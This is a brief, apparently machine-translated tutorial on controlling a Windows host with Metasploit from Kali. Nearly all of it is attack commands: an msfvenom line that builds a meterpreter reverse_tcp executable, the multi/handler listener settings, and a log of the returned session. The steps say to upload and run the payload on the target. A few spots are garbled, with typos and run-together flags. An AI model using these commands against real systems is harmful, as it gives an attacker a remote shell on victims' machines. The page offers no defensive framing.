Network topology:
1. Generate Shellcode:
[Email protected]:~# msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.152.131 lport=1211-f exe >/root/ Shell.exe
2. Listen for Shellcode:
MSF > Use Exploit/multi/handler
MSF exploit (Multi/handler) > Set Payload windows/meterpreter/reverse_tcp
Payload = Windows/meterpreter/reverse_tcp
MSF exploit (Multi/handler) > Set lhost 192.168.152.131
Lhost = 192.168.152.131
MSF exploit (Multi/handler) > Set Lport 1211
Lport = 1211
MSF exploit (Multi/handler) > Exploit
[*] Started reverse TCP handler on 192.168.152.131:1211
3. Upload the generated sehllcode to the Windows host and run:
4. A session has been returned
MSF exploit (Multi/handler) > Exploit
[*] Started reverse TCP handler on 192.168.152.131:1211
[] Sending stage (179779 bytes) to 192.168.152.129
[] Meterpreter Session 1 opened (192.168.152.131:1211-192.168.152.129:1039) at 2018-02-24 07:58:44 +0000
5. Successfully get to the shell:
Windows host control with Metasploit in Kali